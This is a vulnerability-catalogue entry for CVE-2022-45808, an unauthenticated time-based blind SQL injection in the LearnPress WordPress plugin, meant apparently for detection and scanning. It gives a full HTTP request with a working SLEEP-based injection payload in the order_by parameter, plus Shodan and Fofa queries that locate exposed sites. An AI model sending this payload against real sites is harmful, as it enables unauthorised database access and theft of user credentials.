🔙 목록으로 돌아가기

CVE-2022-45808: LearnPress Plugin < 4.2.0 - Unauthenticated Time-Based Blind SQLi

TitleLearnPress Plugin < 4.2.0 - Unauthenticated Time-Based Blind SQLi
AuthorDhiyaneshDK
SeverityCritical
ImpactUnauthenticated attackers can execute time-based blind SQL injection through the order_by parameter in the LearnPress courses archive endpoint, potentially extracting sensitive database information including user credentials, course data, and student information.
RemediationUpdate LearnPress plugin to version 4.2.0 or later that properly sanitizes and parameterizes the order_by parameter.
CVSS Score9.9
EPSS Score0.78812
CVE IDCVE-2022-45808
CWE IDCWE-89
Shodan Queryhttp.html:"/wp-content/plugins/learnpress"
Fofa Querybody="/wp-content/plugins/learnpress"
Tags cve cve2022 wp-plugin wp wordpress learnpress sqli time-based-sqli vkev vuln

🔍 Vulnerability Description

SQL Injection vulnerability in LearnPress – WordPress LMS Plugin <= 4.1.7.3.2 versions.

🌐 HTTP Request

POST /wp-json/lp/v1/courses/archive-course HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 105
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

c_search=X&order_by=ID AND (SELECT 1471 FROM (SELECT(SLEEP(6)))VcSO)&order=DESC&limit=10&return_type=html

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45808.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-45808.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A